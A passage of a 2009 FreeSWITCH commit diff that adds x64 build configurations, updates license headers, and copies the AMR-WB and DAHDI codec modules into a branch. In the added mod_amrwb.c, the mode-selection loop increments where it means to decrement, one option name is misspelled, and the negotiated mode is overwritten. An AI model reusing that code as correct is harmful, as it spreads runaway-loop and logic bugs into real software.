+				OutputFile="$(SolutionDir)$(PlatformName)\Debug/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release Passthrough|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -268,6 +472,72 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release Passthrough|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\libamr\src\include&quot;"
+				PreprocessorDefinitions="AMR_PASSTHROUGH"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\release/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/codecs/mod_amr/mod_amr.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_amr/mod_amr.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_amr/mod_amr.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Brian K. West <brian@freeswitch.org>
  *
  * The amr codec itself is not distributed with this module.

Copied: freeswitch/branches/seven/src/mod/codecs/mod_amrwb (from rev 14471, freeswitch/trunk/src/mod/codecs/mod_amrwb)

Deleted: freeswitch/branches/seven/src/mod/codecs/mod_amrwb/Makefile

Copied: freeswitch/branches/seven/src/mod/codecs/mod_amrwb/Makefile (from rev 14471, freeswitch/trunk/src/mod/codecs/mod_amrwb/Makefile) (0 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_amrwb/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/codecs/mod_amrwb/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+BASE=../../../..
+
+AMR_DIR=$(BASE)/libs/amrwb
+AMR_A=$(AMR_DIR)/libamrwb.a
+
+LOCAL_INSERT_CFLAGS=if test -d $(AMR_DIR); then echo "-I$(AMR_DIR)" ; else echo "-DAMRWB_PASSTHROUGH" ; fi ;
+LOCAL_INSERT_LDFLAGS=test ! -d $(AMR_DIR) || echo "$(AMR_A)";
+
+
+include $(BASE)/build/modmake.rules

Deleted: freeswitch/branches/seven/src/mod/codecs/mod_amrwb/mod_amrwb.c

Copied: freeswitch/branches/seven/src/mod/codecs/mod_amrwb/mod_amrwb.c (from rev 14471, freeswitch/trunk/src/mod/codecs/mod_amrwb/mod_amrwb.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_amrwb/mod_amrwb.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/codecs/mod_amrwb/mod_amrwb.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,299 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthmct@yahoo.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthmct@yahoo.com>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Brian K. West <brian@freeswitch.org>
+ *
+ * The amrwb codec itself is not distributed with this module.
+ *
+ * mod_amrwb.c -- GSM-AMRWB Codec Module
+ *
+ */
+
+#include "switch.h"
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_amrwb_load);
+SWITCH_MODULE_DEFINITION(mod_amrwb, mod_amrwb_load, NULL, NULL);
+
+#ifndef AMRWB_PASSTHROUGH
+#include "dec_if.h"
+#include "enc_if.h"
+
+typedef enum {
+	AMRWB_OPT_OCTET_ALIGN = (1 << 0),
+	AMRWB_OPT_CRC = (1 << 1),
+	AMRWB_OPT_MODE_CHANGE_NEIGHBOR = (1 << 2),
+	AMRWB_OPT_ROBUST_SORTING = (1 << 3),
+	AMRWB_OPT_INTERLEAVING = (1 << 4)
+} amrwb_flag_t;
+
+typedef enum {
+	AMRWB_BITRATE_7K = 0,
+	AMRWB_BITRATE_8K,
+	AMRWB_BITRATE_12K,
+	AMRWB_BITRATE_14K,
+	AMRWB_BITRATE_16K,
+	AMRWB_BITRATE_18K,
+	AMRWB_BITRATE_20K,
+	AMRWB_BITRATE_23K,
+	AMRWB_BITRATE_24K
+} amrwb_bitrate_t;
+
+struct amrwb_context {
+	void *encoder_state;
+	void *decoder_state;
+	switch_byte_t enc_modes;
+	switch_byte_t enc_mode;
+	uint32_t change_period;
+	switch_byte_t max_ptime;
+	switch_byte_t ptime;
+	switch_byte_t channels;
+	switch_byte_t flags;
+};
+
+#define AMRWB_DEFAULT_BITRATE AMRWB_BITRATE_24K
+
+static struct {
+	switch_byte_t default_bitrate;
+} globals;
+
+#endif
+
+static switch_status_t switch_amrwb_init(switch_codec_t *codec, switch_codec_flag_t flags, const switch_codec_settings_t *codec_settings)
+{
+#ifdef AMRWB_PASSTHROUGH
+	codec->flags |= SWITCH_CODEC_FLAG_PASSTHROUGH;
+	if (codec->fmtp_in) {
+		codec->fmtp_out = switch_core_strdup(codec->memory_pool, codec->fmtp_in);
+	}
+	return SWITCH_STATUS_SUCCESS;
+#else
+	struct amrwb_context *context = NULL;
+	int encoding, decoding;
+	int x, i, argc;
+	char *argv[10];
+	char fmtptmp[128];
+
+	encoding = (flags & SWITCH_CODEC_FLAG_ENCODE);
+	decoding = (flags & SWITCH_CODEC_FLAG_DECODE);
+
+	if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(struct amrwb_context))))) {
+		return SWITCH_STATUS_FALSE;
+	} else {
+
+		if (codec->fmtp_in) {
+			argc = switch_separate_string(codec->fmtp_in, ';', argv, (sizeof(argv) / sizeof(argv[0])));
+			for (x = 0; x < argc; x++) {
+				char *data = argv[x];
+				char *arg;
+				while (*data && *data == ' ') {
+					data++;
+				}
+				if ((arg = strchr(data, '='))) {
+					*arg++ = '\0';
+					if (!strcasecmp(data, "octet-align")) {
+						if (atoi(arg)) {
+							switch_set_flag(context, AMRWB_OPT_OCTET_ALIGN);
+						}
+					} else if (!strcasecmp(data, "mode-change-neighbor")) {
+						if (atoi(arg)) {
+							switch_set_flag(context, AMRWB_OPT_MODE_CHANGE_NEIGHBOR);
+						}
+					} else if (!strcasecmp(data, "crc")) {
+						if (atoi(arg)) {
+							switch_set_flag(context, AMRWB_OPT_CRC);
+						}
+					} else if (!strcasecmp(data, "robust-sorting")) {
+						if (atoi(arg)) {
+							switch_set_flag(context, AMRWB_OPT_ROBUST_SORTING);
+						}
+					} else if (!strcasecmp(data, "interveaving")) {
+						if (atoi(arg)) {
+							switch_set_flag(context, AMRWB_OPT_INTERLEAVING);
+						}
+					} else if (!strcasecmp(data, "mode-change-period")) {
+						context->change_period = atoi(arg);
+					} else if (!strcasecmp(data, "ptime")) {
+						context->ptime = (switch_byte_t) atoi(arg);
+					} else if (!strcasecmp(data, "channels")) {
+						context->channels = (switch_byte_t) atoi(arg);
+					} else if (!strcasecmp(data, "maxptime")) {
+						context->max_ptime = (switch_byte_t) atoi(arg);
+					} else if (!strcasecmp(data, "mode-set")) {
+						int y, m_argc;
+						char *m_argv[8];
+						m_argc = switch_separate_string(arg, ',', m_argv, (sizeof(m_argv) / sizeof(m_argv[0])));
+						for (y = 0; y < m_argc; y++) {
+							context->enc_modes |= (1 << atoi(m_argv[y]));
+						}
+					}
+				}
+			}
+		}
+
+		if (context->enc_modes) {
+			for (i = 8; i > -1; i++) {
+				if (context->enc_modes & (1 << i)) {
+					context->enc_mode = (switch_byte_t) i;
+					break;
+				}
+			}
+		}
+
+		if (!context->enc_mode) {
+			context->enc_mode = globals.default_bitrate;
+		}
+
+		switch_snprintf(fmtptmp, sizeof(fmtptmp), "octet-align=%d; mode-set=%d", switch_test_flag(context, AMRWB_OPT_OCTET_ALIGN) ? 1 : 0, context->enc_mode);
+		codec->fmtp_out = switch_core_strdup(codec->memory_pool, fmtptmp);
+
+		context->enc_mode = AMRWB_DEFAULT_BITRATE;
+		context->encoder_state = NULL;
+		context->decoder_state = NULL;
+
+		if (encoding) {
+			context->encoder_state = E_IF_init();
+		}
+
+		if (decoding) {
+			context->decoder_state = D_IF_init();
+		}
+
+		codec->private_info = context;
+
+		return SWITCH_STATUS_SUCCESS;
+	}
+#endif
+}
+
+static switch_status_t switch_amrwb_destroy(switch_codec_t *codec)
+{
+#ifndef AMRWB_PASSTHROUGH
+	struct amrwb_context *context = codec->private_info;
+
+	if (context->encoder_state) {
+		E_IF_exit(context->encoder_state);
+	}
+	if (context->decoder_state) {
+		D_IF_exit(context->decoder_state);
+	}
+	codec->private_info = NULL;
+#endif
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t switch_amrwb_encode(switch_codec_t *codec,
+										 switch_codec_t *other_codec,
+										 void *decoded_data,
+										 uint32_t decoded_data_len,
+										 uint32_t decoded_rate, void *encoded_data, uint32_t * encoded_data_len, uint32_t * encoded_rate,
+										 unsigned int *flag)
+{
+#ifdef AMRWB_PASSTHROUGH
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
+	return SWITCH_STATUS_FALSE;
+#else
+	struct amrwb_context *context = codec->private_info;
+
+	if (!context) {
+		return SWITCH_STATUS_FALSE;
+	}
+
+	*encoded_data_len = E_IF_encode(context->encoder_state, context->enc_mode, (int16_t *) decoded_data, (switch_byte_t *) encoded_data, 0);
+
+	return SWITCH_STATUS_SUCCESS;
+#endif
+}
+
+static switch_status_t switch_amrwb_decode(switch_codec_t *codec,
+										 switch_codec_t *other_codec,
+										 void *encoded_data,
+										 uint32_t encoded_data_len,
+										 uint32_t encoded_rate, void *decoded_data, uint32_t * decoded_data_len, uint32_t * decoded_rate,
+										 unsigned int *flag)
+{
+#ifdef AMRWB_PASSTHROUGH
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
+	return SWITCH_STATUS_FALSE;
+#else
+	struct amrwb_context *context = codec->private_info;
+
+	if (!context) {
+		return SWITCH_STATUS_FALSE;
+	}
+
+	D_IF_decode(context->decoder_state, (unsigned char *) encoded_data, (int16_t *) decoded_data, 0);
+	*decoded_data_len = codec->implementation->decoded_bytes_per_packet;
+
+	return SWITCH_STATUS_SUCCESS;
+#endif
+}
+
+/* Registration */
+SWITCH_MODULE_LOAD_FUNCTION(mod_amrwb_load)
+{
+	switch_codec_interface_t *codec_interface;
+#ifndef AMRWB_PASSTHROUGH
+	char *cf = "amrwb.conf";
+	switch_xml_t cfg, xml, settings, param;
+
+	memset(&globals, 0, sizeof(globals));
+	globals.default_bitrate = AMRWB_DEFAULT_BITRATE;
+
+	if ((xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
+		if ((settings = switch_xml_child(cfg, "settings"))) {
+			for (param = switch_xml_child(settings, "param"); param; param = param->next) {
+				char *var = (char *) switch_xml_attr_soft(param, "name");
+				char *val = (char *) switch_xml_attr_soft(param, "value");
+				if (!strcasecmp(var, "default-bitrate")) {
+					globals.default_bitrate = (switch_byte_t) atoi(val);
+				}
+			}
+		}
+	}
+#endif
+
+	/* connect my internal structure to the blank pointer passed to me */
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+
+	SWITCH_ADD_CODEC(codec_interface, "AMR-WB");
+    switch_core_codec_add_implementation(pool, codec_interface,
+                                         SWITCH_CODEC_TYPE_AUDIO, 100, "AMR-WB", "octet-align=0", 16000, 16000, 23850,
+                                         20000, 320, 640, 0, 1, 1,
+                                         switch_amrwb_init, switch_amrwb_encode, switch_amrwb_decode, switch_amrwb_destroy);
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4 expandtab:
+ */

Modified: freeswitch/branches/seven/src/mod/codecs/mod_celt/Makefile (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_celt/Makefile	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_celt/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 BASE=../../../..
 
-CELT=celt-0.5.1
+CELT=celt-0.6.1
 
 CELT_DIR=$(BASE)/libs/$(CELT)
 LOCAL_CFLAGS=-I$(CELT_DIR)/libcelt

Modified: freeswitch/branches/seven/src/mod/codecs/mod_celt/mod_celt.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_celt/mod_celt.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_celt/mod_celt.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,7 +17,7 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *

Copied: freeswitch/branches/seven/src/mod/codecs/mod_dahdi_codec (from rev 14471, freeswitch/trunk/src/mod/codecs/mod_dahdi_codec)

Property changes: freeswitch/branches/seven/src/mod/codecs/mod_dahdi_codec


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c

Copied: freeswitch/branches/seven/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c (from rev 14471, freeswitch/trunk/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,601 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / DAHDI codec module
+ *
+ * The Initial Developer of the Original Code is
+ * Moises Silva <moy@sangoma.com>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Moises Silva <moy@sangoma.com>
+ *
+ * mod_dahdi_codec -- DAHDI Codecs (G729A 8.0kbit, G723.1 5.3kbit)
+ *
+ * Thanks to Voiceway for sponsoring this module and Neocenter for providing the DAHDI hardware to test
+ *
+ */
+
+#include <switch.h>
+#include <g711.h>
+#include <poll.h>
+#include <linux/types.h> /* __u32 */
+#include <sys/ioctl.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+
+/*
+ * some rules to keep in mind for G729 (the frame size may be different for G723)
+ * we cannot write more than SFRAME_SIZE (320) - sizeof(struct rtp_packet) which 
+ * seems to be 266 bytes
+ * if we write less than 160 bytes (1 ulaw frame which is 20 bytes of G729 bytes, a read will block forever)
+ * TODO: do buffering ourselves to provide just the fixed amount of samples that the card expects
+ * */
+#define DAHDI_G729_INPUT_FRAME_SIZE 160
+#define DAHDI_G729_OUTPUT_FRAME_SIZE 20
+
+/*#define DEBUG_DAHDI_CODEC 1*/
+
+#define CODEC_G729_IANA_CODE 18
+#define CODEC_G723_IANA_CODE 4
+
+switch_mutex_t *transcoder_counter_mutex;
+static uint32_t total_encoders = 0;
+static uint32_t total_encoders_usage = 0;
+static uint32_t total_decoders = 0;
+static uint32_t total_decoders_usage = 0;
+
+/* 
+   Zaptel/DAHDI definitions to not require the headers installed
+   Zaptel and DAHDI are binary compatible (at least in the transcoder interface)
+ */
+
+#define DAHDI_TC_CODE                   'T'
+#define DAHDI_TC_ALLOCATE               _IOW(DAHDI_TC_CODE, 1, struct dahdi_transcoder_formats)
+#define DAHDI_TC_GETINFO                _IOWR(DAHDI_TC_CODE, 2, struct dahdi_transcoder_info)
+
+#define DAHDI_FORMAT_G723_1  (1 << 0)
+#define DAHDI_FORMAT_ULAW    (1 << 2)
+#define DAHDI_FORMAT_SLINEAR (1 << 6)
+#define DAHDI_FORMAT_G729A   (1 << 8)
+
+struct dahdi_transcoder_formats {
+	__u32   srcfmt;
+	__u32   dstfmt;
+};
+
+struct dahdi_transcoder_info {
+	__u32 tcnum;
+	char name[80];
+	__u32 numchannels;
+	__u32 dstfmts;
+	__u32 srcfmts;
+};
+
+static const char transcoding_device_dahdi[] = "/dev/dahdi/transcode";
+static const char transcoder_name_dahdi[] = "DAHDI";
+static const char transcoding_device_zap[] = "/dev/zap/transcode";
+static const char transcoder_name_zap[] = "Zap";
+static const char *transcoding_device = NULL;
+static const char *transcoder_name = NULL;
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_dahdi_codec_load);
+SWITCH_MODULE_DEFINITION(mod_dahdi_codec, mod_dahdi_codec_load, NULL, NULL);
+
+struct dahdi_context {
+	int32_t encoding_fd;
+	int32_t decoding_fd;
+	uint8_t codec_r;
+};
+
+static int32_t switch_dahdi_get_transcoder(struct dahdi_transcoder_formats *fmts)
+{
+	int32_t fdflags;
+	int32_t fd = open(transcoding_device, O_RDWR);
+	if (fd < 0) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, 
+				"Failed to open %s transcoder device: %s.\n", 
+				transcoder_name, strerror(errno));
+		return -1;
+	}
+	if (ioctl(fd, DAHDI_TC_ALLOCATE, fmts)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, 
+				"Failed to attach to transcoder: %s.\n", 
+				strerror(errno));
+		close(fd);
+		return -1;
+	}
+	fdflags = fcntl(fd, F_GETFL);
+	if (fdflags > -1) {
+		fdflags |= O_NONBLOCK;
+		if (fcntl(fd, F_SETFL, fdflags)) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not set non-block mode in %s transcoder FD: %s\n", 
+					transcoder_name, strerror(errno));
+			/* should we abort? this may cause channels to hangup when overruning the device 
+			 * see jira dahdi codec issue MODCODEC-8 (Hung Calls and Codec DAHDI G.729A 8.0k decoder error!)
+			 * */
+		}
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not get flags from %s transcoder FD: %s\n", 
+				transcoder_name, strerror(errno));
+	}
+
+	if (fmts->srcfmt & DAHDI_FORMAT_ULAW) {
+		switch_mutex_lock(transcoder_counter_mutex);
+		total_encoders_usage++;
+		switch_mutex_unlock(transcoder_counter_mutex);
+	} else {
+		switch_mutex_lock(transcoder_counter_mutex);
+		total_decoders_usage++;
+		switch_mutex_unlock(transcoder_counter_mutex);
+	}
+
+	return fd;
+}
+
+static switch_status_t init_encoder(switch_codec_t *codec)
+{
+	struct dahdi_transcoder_formats fmts;
+	struct dahdi_context *context = codec->private_info;
+
+	fmts.srcfmt = DAHDI_FORMAT_ULAW;
+	fmts.dstfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE) 
+		? DAHDI_FORMAT_G729A : DAHDI_FORMAT_G723_1;
+	context->encoding_fd = switch_dahdi_get_transcoder(&fmts);
+	if (context->encoding_fd < 0) {
+#ifdef DEBUG_DAHDI_CODEC
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "encoding requested and denied with %d/%d.\n",
+						  fmts.srcfmt, fmts.dstfmt);
+#endif
+		return SWITCH_STATUS_FALSE;
+	}
+#ifdef DEBUG_DAHDI_CODEC
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Encoding requested and granted with %d/%d.\n",
+					  fmts.srcfmt, fmts.dstfmt);
+#endif
+
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+static switch_status_t init_decoder(switch_codec_t *codec)
+{
+    struct dahdi_transcoder_formats fmts;
+    struct dahdi_context *context = codec->private_info;
+
+	fmts.dstfmt = DAHDI_FORMAT_ULAW;
+	fmts.srcfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE) 
+		? DAHDI_FORMAT_G729A : DAHDI_FORMAT_G723_1;
+	context->decoding_fd = switch_dahdi_get_transcoder(&fmts);
+	if (context->decoding_fd < 0) {
+#ifdef DEBUG_DAHDI_CODEC
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and denied with %d/%d.\n",
+				fmts.srcfmt, fmts.dstfmt);
+#endif
+		return SWITCH_STATUS_FALSE;
+	}
+#ifdef DEBUG_DAHDI_CODEC
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and granted with %d/%d.\n",
+				fmts.srcfmt, fmts.dstfmt);
+#endif
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t switch_dahdi_init(switch_codec_t *codec, switch_codec_flag_t flags, const switch_codec_settings_t *codec_settings)
+{
+	uint32_t encoding, decoding;
+	struct dahdi_context *context = NULL;
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Switch DAHDI init called.\n");
+
+	encoding = (flags & SWITCH_CODEC_FLAG_ENCODE);
+	decoding = (flags & SWITCH_CODEC_FLAG_DECODE);
+
+	if (!(encoding || decoding)) {
+#ifdef DEBUG_DAHDI_CODEC
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No encoding or decoding requested for DAHDI transcoder?.\n");
+#endif
+		return SWITCH_STATUS_FALSE;
+	}
+
+	if (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context)))) {
+#ifdef DEBUG_DAHDI_CODEC
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to allocate memory for dahdi codec context.\n");
+#endif
+		return SWITCH_STATUS_FALSE;
+	}
+
+	codec->private_info = context;
+	context->encoding_fd = -1;
+	context->decoding_fd = -1;
+
+	/* ulaw requires 8 times more storage than g729 and 12 times more than G723, right? 
+	 * this can be used to calculate the target buffer when encoding and decoding
+	 * */
+	context->codec_r = (codec->implementation->ianacode == CODEC_G729_IANA_CODE) 
+		? 8 : 12;
+
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static int wait_for_transcoder(int fd)
+{
+	/* let's wait a bit for the transcoder, if in 20msthe driver does not notify us that its ready to give us something
+	then just bail out with 0 bytes encoded/decoded as result, I'd expect the card to hold that buffer and return it later */
+	int res = 0;
+	struct pollfd readpoll;
+	memset(&readpoll, 0, sizeof(readpoll));
+	readpoll.fd = fd;
+	readpoll.events = POLLIN;
+	/* my testing shows that it does not take more than 1ms to encode a 160 bytes frame ulaw to g729,
+	   I dont think there is much difference decoding and for g723, waiting 10ms seems more than reasonable */
+	res = poll(&readpoll, 1, 10); 
+	return res;
+}
+
+static switch_status_t switch_dahdi_encode(switch_codec_t *codec,
+					   switch_codec_t *other_codec,
+					   void *decoded_data,
+					   uint32_t decoded_data_len,
+					   uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+					   unsigned int *flag)
+{
+	int32_t res;
+	short *dbuf_linear;
+	unsigned char *ebuf_g729;
+	unsigned char ebuf_ulaw[decoded_data_len/2];
+	uint32_t i;
+	struct dahdi_context *context = NULL;
+	switch_status_t status;
+
+#ifdef DEBUG_DAHDI_CODEC
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Switch DAHDI encode called to encode %d bytes.\n", decoded_data_len);
+#endif
+	context = codec->private_info;
+
+	if (context->encoding_fd == -1) {
+		if ((status = init_encoder(codec)) != SWITCH_STATUS_SUCCESS) {
+			return status;
+		}
+	}
+
+	dbuf_linear = decoded_data;
+	ebuf_g729 = encoded_data;
+	for (i = 0; i < decoded_data_len / sizeof(short); i++) {
+		ebuf_ulaw[i] = linear_to_ulaw(dbuf_linear[i]);
+	}
+#ifdef DEBUG_DAHDI_CODEC
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Writing %d bytes of decoded ulaw data.\n", i);
+#endif
+	res = write(context->encoding_fd, ebuf_ulaw, i);
+	if (-1 == res) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to write to %s encoder device.\n", transcoder_name);
+		return SWITCH_STATUS_FALSE;
+	}
+	if (i != res) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s encoder device, but only wrote %d bytes.\n", i, transcoder_name, res);
+		return SWITCH_STATUS_FALSE;
+	}
+	res = wait_for_transcoder(context->encoding_fd);
+	if (-1 == res) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to poll on %s encoder device: %s.\n", transcoder_name, strerror(errno));
+		return SWITCH_STATUS_FALSE;
+	}
+	if (0 == res) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No output on %s encoder device.\n", transcoder_name);
+		*encoded_data_len = 0;
+		return SWITCH_STATUS_SUCCESS;
+	}
+#ifdef DEBUG_DAHDI_CODEC
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Attempting to read %d bytes of encoded data.\n", *encoded_data_len);
+#endif
+	res = read(context->encoding_fd, encoded_data, *encoded_data_len);
+	if (-1 == res) {
+		if (EAGAIN == errno || EWOULDBLOCK == errno) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No output on %s encoder device (%s).\n", transcoder_name, strerror(errno));
+			*encoded_data_len = 0;
+			return SWITCH_STATUS_SUCCESS;
+		}
